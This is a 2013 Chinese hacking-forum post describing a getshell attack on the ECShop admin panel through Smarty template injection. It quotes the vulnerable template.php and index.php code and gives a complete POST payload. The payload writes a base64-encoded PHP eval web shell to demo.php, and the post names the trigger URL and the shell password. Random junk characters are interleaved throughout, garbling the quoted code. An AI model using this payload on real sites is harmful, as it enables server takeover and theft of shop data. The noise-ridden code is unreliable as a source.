找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2421|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
; |9 Z- N1 u; c* l
" v0 m, t- b( f' G而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了/ D! l* F" ^; L1 {8 r) G  ^7 R
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
2 V) Q6 ?: f5 @0 N( x4 Eadmin/template.php
3 `- L# J+ g" k) G8 r! E7 u. N6 l8 O8 ]! I* y# E
1 if ($_REQUEST['act'] == 'update_library') & i4 e# E9 S* ^( o" z& X

' C; g! U+ m) ~5 G2   
- j1 q* |" `4 N2 `
- `$ b  S2 ^/ Y1 Y6 X2 j& y7 E& F# H3 {
% ?0 m& X; a* g2 c2 e
5 S3 d$ Q8 b% P1 }4     check_authz_json('library_manage'); 8 h" y7 E" @2 X2 X2 j4 A# ^
& G- f3 E+ O$ ^" d# P
5   6 T+ G7 o5 }6 Z

1 Z0 E& Y! Q, s6 a  t8 A' w2 f! p5 t6     $html = stripslashes(json_str_iconv($_POST['html']));
4 d$ {- W) c$ n( T' F- ?" [: B& k" K/ {" u/ R) ]+ o  V
7   1 X  n! j, D( s& ?/ E0 \6 u5 M
- [9 f+ c! _6 n. a2 ?
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 * S; U: D' d& n/ E/ g$ K
5 k7 x- @6 o7 r$ A7 I; |
9   
& r& v) k. d; b! }- \7 ?* w
( r  k$ }* q% o, U, t' U10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
( ?  Z" h" h4 {2 O( K; _4 \+ X/ q. S
11   5 u% \, d4 x( ]  w# c! i
* E# n( o' L  A' e' C7 Z
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 4 F8 V, r0 m2 y) H* ^

  z) E( O; m" i$ G7 Q; q13   , @: I9 W- }" ]" S
+ P7 f7 Y( T( W" F
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 ( l& [6 Z4 S: M( K# X

% ~" `& g, R! E; h/ n* W+ w15     {
' u# q* {1 q" L8 _' X% J
: H8 o% ~$ n# C2 C: R% M5 h5 }6 @16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
& i4 h5 w4 L' G
6 H2 }, k0 n5 S3 r* B7 X) j17         make_json_result('', $_LANG['update_lib_success']); 5 Q. Z7 x, p' k' C
" i7 f+ m. \+ }. a' }) X  r% x7 O) L0 q
18     }
0 ~: {- Z5 X, j4 x9 c. ?
& x" n" g' W( b/ b9 k9 Y, J19     else ( O3 W* R0 {. L9 Q/ z9 ^- W

) H  D! ?3 r  w  E! g" Z" z20     { 4 p& W5 V. P1 m1 {
/ G4 }, |3 ]2 M4 N
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); ; I* j3 O0 t* k+ _# T0 {" U5 U
7 \; ?6 h0 L% J& g$ Z  Z+ E
22     } 8 X8 K% Q( K+ h7 r: x

' V+ n% Y) R( O; E23 } 7 X6 g+ ?; Z( Y4 G) T

* J: ]: h: x$ |) r" {1 E) `) Y那么找个比较方便调用了模板的文件
2 b# S! X: T4 m5 h  {5 yindex.php1 g/ _) _1 K6 J9 Y' c0 w3 N6 r
# T/ }; M: t1 _. }6 i
1 if ($act == 'cat_rec')
; Y/ r! c$ @. m9 @; k& P0 H2 r6 d# q- I$ U5 N. u% ]
2   ) M4 T7 r5 c/ u/ s& x
: T6 h5 _% l) S& Y7 P9 M% O# N
3 {
" b0 N& V! f( F9 E1 P4 {8 f/ G/ S1 x3 I$ X6 I
4   
7 }! {. ?& S2 i8 x) F
: j: t  a: t/ A4 E9 j6 y5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
! c* k3 C/ L! G- V! s
1 n  A$ n8 W) y3 C. J0 {5 N5 A0 `% z7 X6   + u2 G: X! z0 Q8 x. S* v
; C  {) J: L" A
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; - {# S8 e, i' }+ M% ~. A/ V3 y
6 b2 ?$ W8 B: J& T4 q7 u
8   % t6 E( b2 i$ }( Z' f+ o0 _. V+ k
2 k8 {4 [6 K5 Y5 u# Y" y
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
  \2 V$ J8 h- T5 k7 F# e. S
! v% e3 S7 c+ F1 c- @10   , ~8 w) H6 V. O, c3 B
3 B' z( Y" N; X* e6 O, j# P
11     include_once('includes/cls_json.php'); % K: T% _/ e/ E9 X
( H: G% t. C5 f
12   
; l- J4 E/ J4 I) N3 Q/ d0 H4 I* a2 D( r
13     $json = new JSON;
& H5 E/ @) r5 a* ]: I9 {  P' f& ~* F7 H% o9 u, a+ P% b  A
14   . `, `% A, Y" i6 f  r" E; Y0 Y

& e! d, q5 L( Y6 P3 {; X15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 3 m  e- N" R; ]5 c

' j4 {' n9 ]9 W5 a4 x8 Q$ d16   # |' O& l2 q! s$ T+ i- X8 C' x! Q3 \
: M% l, Z* P8 ~4 a  e. o
17     $children = get_children($cat_id); - G' L: I* E: b; ?) I2 d

1 s2 r) w, D  P; A( C18   
0 }+ j/ S) R: d  ]/ q8 s; s3 p' b1 f8 j: S$ L
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
" ^* n& ?+ Y# X+ C( f" {* [1 c5 e7 i4 U; h& O' M1 j7 h9 F
20   7 \! k' u0 m/ Y: ^/ C. M1 W9 ?, ]
8 g3 ]  W% ]3 F6 T( p: j
21     $smarty->assign('cat_rec_sign', 1);
: H& \" v/ p9 `
( q; c2 \3 D; R. c, r! U* q22   
5 k5 w5 w/ _: l# N4 V2 W2 e2 M, l1 n3 G
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
/ W5 R- |% X" `& Y9 s/ e
$ w# x+ {5 ?6 p6 {& y  }24   , T! ^  G, o- W; |$ n

. J6 \0 @0 G8 o: C% q$ g25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; : ^3 q6 Y2 |. g
% L; @4 E- q" V! G# {- d
26   0 f8 Y2 y  \' V( R4 n; o

! N  Y* n" r, y+ `27         echo $rec_array[$rec_type];
( B$ G) C' \: t- D! C6 U" f% R$ a; x/ U" I3 S/ {4 a1 ^
28   
/ v: `5 W" }0 H+ t/ ]# m. ^! h  d; v! L
29     die($json->encode($result));
3 _; C  I6 @9 u( x
6 k( X6 a/ B; g! V; K- p2 Q30   
7 G9 `4 d, w# @4 H% U# e; ]
+ H9 H' R% V# M' Q( f9 k) ?* M8 n31 }
" S0 {% x) x0 z% @, H& E6 X- m% f* E" O" h# b
那么就有利用方法了0 |$ V. m6 u) R7 q5 R( l! O
post包到http://localhost/ec/admin/template.php?act=update_library! _6 _3 e4 N. V6 [: W  O
Post内容:
2 k0 Y2 x' P8 S' q2 v; ^' i" l% W% X& \2 ], r

0 O# _3 g+ B1 x% H. w9 E: p1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} . w8 K- f6 Q. N7 D- g+ A! J

  ]- f+ s( @& s然后访问http://localhost/ec/index.php?act=cat_rec
3 s7 p8 A: K5 Z7 P! n1 V# D- @
% l( ~7 W; k9 _# x( ]/ o9 {7 l1 yshel地址:http://localhost/ec/demo.php% P$ C+ U, i2 ]5 E( Z6 E
密码c. D6 ^  k# A/ I
# ^: i5 ]6 t% v6 Y7 N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表